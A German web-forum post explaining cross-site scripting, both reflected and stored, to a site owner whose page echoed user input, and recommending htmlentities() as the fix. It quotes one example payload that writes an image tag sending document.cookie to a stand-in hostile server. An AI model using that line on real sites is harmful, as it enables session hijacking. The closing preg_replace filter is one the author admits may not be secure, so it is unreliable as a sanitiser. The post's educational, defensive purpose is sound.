Moin
DAs verstehe ich nicht - wie irgendwo?
Das ist eine der Standard-Cross-Site-Scripting-Attacken.
Normalerweise schützt der Browser dich vor Skripten die versuchen auf anderen Domains rumzupfuschen. Stell dir nur mal vor eine böse Seite könnte einfach so auf anderen Seiten in anderen Domains JavaScript-Aktionen durchführen. Also zum Beispiel das cookie auslesen und an einen Server senden oder document.formularname.submit() aufrufen etc. Da könnte ja eine Seite kommen, in einem unsichtbaren Frame deine Onlinebank aufrufen, sich zunutze machen, dass dein Browser dein Passwort evt. automatisch einträgt oder du sogar schon angemeldet bist und dann lustig Sachen durch die Gegend überweisen. (Natürlich gibts das in zig Variationen mit anderen Angriffszielen/möglichkeiten)
Deshalb verbieten die Browser unter anderem Skripten von einer Domain auf Seiten einer anderen Domain zuzugreifen. Es gibt zwar hin und wieder auch im Browser solche Cross Site Skripting Probleme, aber die sollten theoretisch alle behoben sein, wenn du jeweils alle Sicherheitspatches einspielst.
Aber leider gibt es auch viele Seiten mit diesen Problemen, deine scheint (schien?, habs seit 15:00 nicht mehr angeschaut) eine davon zu sein. Das passiert immer wenn ein übereifriges Skript (muss nicht PHP sein) Usereingaben einfach so unkontrolliert an den Browser zurücksendet. Der Angreifer sucht sich einfach so eine Seite und kann dann einen evt. einen Link generieren der sein feindliches JavaScript an den Server sendet und dieser es ungequotet wieder zurücksendet. Damit kannst du dann auf der anderen Domain lustig Funktionen aufrufen oder Daten auslesen ohne dass der User was tun muss. Du kannst so einen Link etwa beim Besuchen einer feindlichen Seite (ähnlich wie ein trojanische Pferd) unbeabsichtig automatisch ausführen (window.open) oder du verschickst ihn gut getarnt in einer Mail (zahlreiche Würmer von I Love You bis My Party haben ja gezeigt dass User gerne auf Sachen in Mails klicken) oder ähnliches.
Die zweite Möglichkeit wäre es den JavaScript-Code gleich dauerhaft auf der anderen Seite abzulegen, wie es bei Gästebüchern/Foren beliebt ist oder teilweise auch bei Webmailern möglich war. So ein Problem scheinst du gehabt zu haben. Denk dran: Der JavaScript-Code der dann zurückgeliefert wird, wird innerhalb der Sicherheitsumgebung deiner Domain ausgeführt, und kann dann Spaß damit haben einfach mal eben ein paar zusätzliche (kosenpflichtige) Angebote unter dem Namen des angemeldeten Benutzers einzustellen. Oder aber er übermittelt das Cookie deiner Anmeldeeinrichtung mit irgendwas in der Art von document.writeln('<img src="http://www.fremderböserserver.de/habeincookiegefunden.php?'+document.cookie()+'">'); an ein auswärtiges Skript und das kann sich dann damit als User ausgeben.
Deswegen ist es böse [tm] Usercode einfach so zurückzugeben ohne wenigstens an eine kleine Überprüfung zu denken. Da aber wie bereits gesagt bisher noch jeder Versuch javascript-Code zu entfernen oder gar nur potentiell gefährliche Codestellen (document.cookie, formularname.submit(), etc.) zu entfernen, irgendwie umgegangen werden konnte, ist es wohl das sicherste, grundsätzlich alle Usereingaben durch htmlentities() zu jagen und damit zu entschärfen.
In deinem Fall möchte der User gar keinen HTML-Code benutzen (selbst wenn er wüsste was das ist :), und wenn, dann wirst du wohl etwas wie preg_replace("/[hr]/", "<hr>", htmlentities(preg_replace("/<hr>/", "/[hr]/", $text))); benutzen wollen (ich weiss nicht, ob das sicher genug ist). htmlentities() zu vergessen, ist auf jeden Fall unschön, da wie bereits angemerkt wurde, du dem User dann zumuten müsstest alle & als & zu schreiben.
--
Henryk Plötz
Grüße aus Berlin